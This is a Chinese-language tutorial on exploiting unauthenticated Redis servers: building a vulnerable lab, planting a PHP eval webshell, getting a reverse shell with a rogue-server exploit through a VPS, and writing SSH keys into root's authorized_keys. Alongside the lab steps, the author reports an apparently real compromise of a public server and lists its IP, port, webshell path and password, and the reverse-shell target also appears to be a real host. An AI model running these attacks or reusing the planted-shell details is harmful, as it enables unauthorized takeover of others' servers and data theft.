漏洞环境
Ubuntu环境链接:https://pan.baidu.com/s/1crfnHpc-XGE23bFXSDhM0g提取码:nlszKali环境链接:https://pan.baidu.com/s/1RgN8A6k6t5QXaHpJewFg-A提取码:t6u1Ubuntu作为靶机Kali用来攻击靶机Redis环境http://download.redis.io/releases/redis-3.2.11.tar.gz
漏洞危害
攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作,可往网站的根目录写入后门文件进而get shell,也可以通过上传exp来进行反弹shell进而命令执行。攻击者也可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应的私钥直接使用ssh服务登录目标服务器实现免密登陆。(即未授权访问,get shell,反弹shell,免密登陆)
漏洞复现
环境搭建:ubuntu和kali同时进行
一:安装redis服务
从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
下载完成后,解压压缩包
tar xzf redis-3.2.11.tar.gz
然后进入解压后的目录:cd redis-3.2.11,输入make并执行
出现如下即编译成功:
make结束后,进入src目录:cd src,切换成root权限,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
启动服务redis-server
此时我们再检查下/usr/bin目录下是否有redis-cli和redis-server:
ls /usr/bin | grep redis
返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下
cp redis.conf /etc
编辑etc中的redis配置文件redis.conf
gedit /etc/redis.conf
去掉ip绑定,允许除本地外的主机远程登录redis服务: 加个#即可
关闭保护模式,允许远程连接redis服务:将yes改为no
然后重启这俩虚拟机,开启redis服务,到这里即可去验证redis未授权访问、get shell和反弹shell漏洞了。
验证成功,我们来看免密登陆漏洞
二:安装ssh服务
由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动
说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务:
sudo apt-get install openssh-server
再次运行以下命令确认ssh服务是否开启:
ps -e | ssh
然后ubuntu上创建一个文件
mkdir /root/.ssh
然后去验证免密登陆漏洞
三:漏洞复现利用场景
Redis未授权访问
Ubuntu:192.168.237.140
Kali:192.168.237.141
使用kali去攻击ubuntu(一定记住修改完redis的配置文件要重启这俩虚拟机,开启redis服务)
./redis-cli -h 192.168.237.140
Get shell
使用kali去攻击ubuntu
先查看ubuntu上的网站的根目录
config get dir
假如红框内的路径为网站的根目录(网站根目录还是比较难找的,可以使用网站的phpinfo或者利用报错信息爆路径以及js包路径泄露等方式)
我们把shell写入红框的路径下
config set dir /home/zhang/ #靶机 Web 网站的目录config set db filename zjt.php # 写入的文件名set webshell "<?php @eval($_POST[1])?>" save # 保存
同时也可以查看ubuntu验证一下是否写入成功
然后直接连接即可
哈哈哈 比较幸运,下午刚发完推文晚上就碰到一个实战,成功get shell
此时马儿已经写入到网站的根目录下了,未授权访问的端口是41436,但是网站对应的端口是41435所以连接马儿的时候也是使用的网站对应的端口41435
http://119.3.187.27:41435/shell.php口令为cmd
反弹shell执行系统命令
Exp链接:https://pan.baidu.com/s/158yZDDMFPgOyIbd1QOVTuw 提取码:55u3
目标站点:
152.136.107.*
Vps:
65.49.206.*
首先把exp的文件下载解压
登录vps新建文件夹4-5进入目录4-5然后使用rz命令把箭头指向的这俩文件传入到vps的4-5目录下
执行语句(7141端口就是任意选取的vps的监听端口,随意设置就行)python3 redis-rogue-server.py --rhost 152.136.107.* --rport 6379 --lhost 65.49.206.* --lport 7141得到shell执行命令whoami、ls等
免密登陆
首先在kali上生成ssh公钥和私钥,密码设置为空
进入.ssh目录将生成的公钥保存到ssh.txt
将ssh.txt通过redis未授权访问漏洞写入ubuntu
这里需要注意箭头指向的test这个test不是随便写的,是未授权访问漏洞执行keys * 得到的,得到的是什么用户名这里就写什么用户名
Kali使用未授权访问漏洞执行命令config get dir得到redis备份的路径
更改备份路径为/root/.ssh/
设置上传公钥的备份文件名字为authorized_keys检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上
可以登录ubuntu进行验证,写入成功
使用kali免密登陆到ubuntu
登录成功